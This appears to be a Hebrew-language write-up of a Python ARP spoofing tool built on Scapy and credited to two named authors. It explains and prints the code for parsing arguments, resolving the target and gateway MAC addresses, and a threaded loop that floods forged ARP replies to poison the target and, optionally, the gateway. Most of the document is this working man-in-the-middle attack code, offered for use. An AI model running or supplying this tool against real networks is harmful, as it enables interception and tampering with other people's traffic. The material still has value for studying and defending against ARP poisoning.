בס"ד

Arp Spoofer

הסבר על הקוד:

בתחילת הmain יש ArgumentParser שמאפשר לקבל מידע על הארגומנטים הניתנים לשליחה ומאפשר לסקריפט לקבל ארגומנטים בצרה נוחה:

```
def main():
    parser = argparse.ArgumentParser(description="Arpspoofer. by Daniel Yochanan and Avi Feder")
    parser.add_argument("-i", "--IFACE", type=str, metavar='', help="Interface you wish to use")
    parser.add_argument("-s", "--SRC", type=str, metavar='', help="The address you want for the attacker")
    parser.add_argument("-d", "--DELAY", type=float, metavar='', help="Delay (in seconds) between messages")
    parser.add_argument("-gw", "--GATEWAY", type=bool, metavar='', help="should GW be attacked as well?")
    parser.add_argument("-t", "--TARGET", type=str, metavar='', required=True, help="IP of target")
    args = parser.parse_args()
```

בשלב הראשון הקוד מאתר את הפרמטרים שנצרכים לתקיפה. כמו כתובת מק של הGATEWAY, כתובת מק של הניתקף ועוד:

```
    target_ip = args.TARGET
    interface = args.IFACE if (args.IFACE is not None) else conf.iface
    hacker_mac = get_if_hwaddr(interface)
    delay = args.DELAY if (args.DELAY is not None) else 0.1
    target_mac = get_mac(target_ip, interface)
    default_gateway_ip = conf.route.route("0.0.0.0")[2]
    default_gateway_mac = get_mac(default_gateway_ip, interface)
    src = args.SRC if (args.SRC is not None) else default_gateway_ip
```

את כתובת המק הקוד מקבל באמצעות פונקציה של ARP:

בס"ד

לאחר מכן הפונקציה שתוקפת מופעלת מתהליכון נפרד:

```
threading.Thread(target=arp_poisoning,
                 args=(target_mac, target_ip, hacker_mac, src, delay, interface,)).start()
```

הפונקציה התוקפת מקבלת את פרטי הניתקף, דיליי לתקיפה (מרווח בין חבילות ARP) ואת פרטי התוקף:

```
def arp_poisoning(target_mac, target_ip, fake_mac, fake_ip, delay, interface):
    while True:
        my_packet = Ether(dst=target_mac) / ARP(op=2, hwsrc=fake_mac, psrc=fake_ip, hwdst=target_mac,
                                                pdst=target_ip)
        sendp(my_packet, verbose=0, iface=interface)
        sleep(delay)
```

ובשלב האחרון יש אופציה לתהליכון שתוקף גם את הGATEWAY:

```
if args.GATEWAY:
    threading.Thread(target=arp_poisoning,
                     args=(
                     default_gateway_mac, default_gateway_ip, hacker_mac, target_ip, delay, interface)).start()
```